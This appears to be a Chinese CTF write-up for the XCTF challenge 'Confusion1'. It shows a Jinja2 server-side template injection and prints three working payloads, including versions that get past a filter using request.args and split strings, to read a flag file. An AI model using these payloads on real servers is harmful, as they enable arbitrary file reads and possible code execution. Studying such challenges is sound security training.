【网络安全 | XCTF】Confusion1

该题考察SSTI注入

正文

题目描述: 某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

register的源码页面中存在flag路径

可以看到网站存在SSTI漏洞

构造POC尝试文件读取:

复制代码
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

参数被过滤:

改参数:

py 复制代码
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

py 复制代码
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %}
{% if c.__name__=='ca'+'tch_warnings' %}
	{{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt','r')['re'+'ad']()}}
{% endif %}
{% endfor %}

得到flag

相关推荐
冲上云霄的Jayden2 分钟前
恶意用户Prompt注入和处理的思考
安全·prompt·agent·注入·攻击防御·提示词注入·guardrails
老张的张Z3 分钟前
CISSP 域3知识点 系统安全防护
安全·系统安全
上海云盾-小余7 分钟前
游戏接口防刷与防外挂:API 安全加固与请求风控实战方案
安全·游戏
Guheyunyi11 分钟前
无人机巡检系统,高效精准守护全场景安全
大数据·人工智能·科技·安全·架构·无人机
电报号dapp11913 分钟前
交易所开发:构建数字资产交易的安全与高效平台
安全·web3·去中心化·区块链·智能合约
木心术128 分钟前
Web安全攻防实战:常见漏洞分析与防御策略
网络·数据库·web安全
网络研究员42 分钟前
2026 Facebook账号多开如何避免封号?风控解析与安全多开指南
安全·facebook
谪星·阿凯1 小时前
公益SRC漏洞挖掘全指南博客
网络·安全·web安全
黑牛儿1 小时前
K8s 1.36 新特性解读:服务网格如何解决微服务安全与通信难题?生产级对比
安全·微服务·kubernetes
黎阳之光1 小时前
【从虚拟到实体:黎阳之光实时三维重构,开启AI空间智能新纪元
大数据·人工智能·算法·安全·数字孪生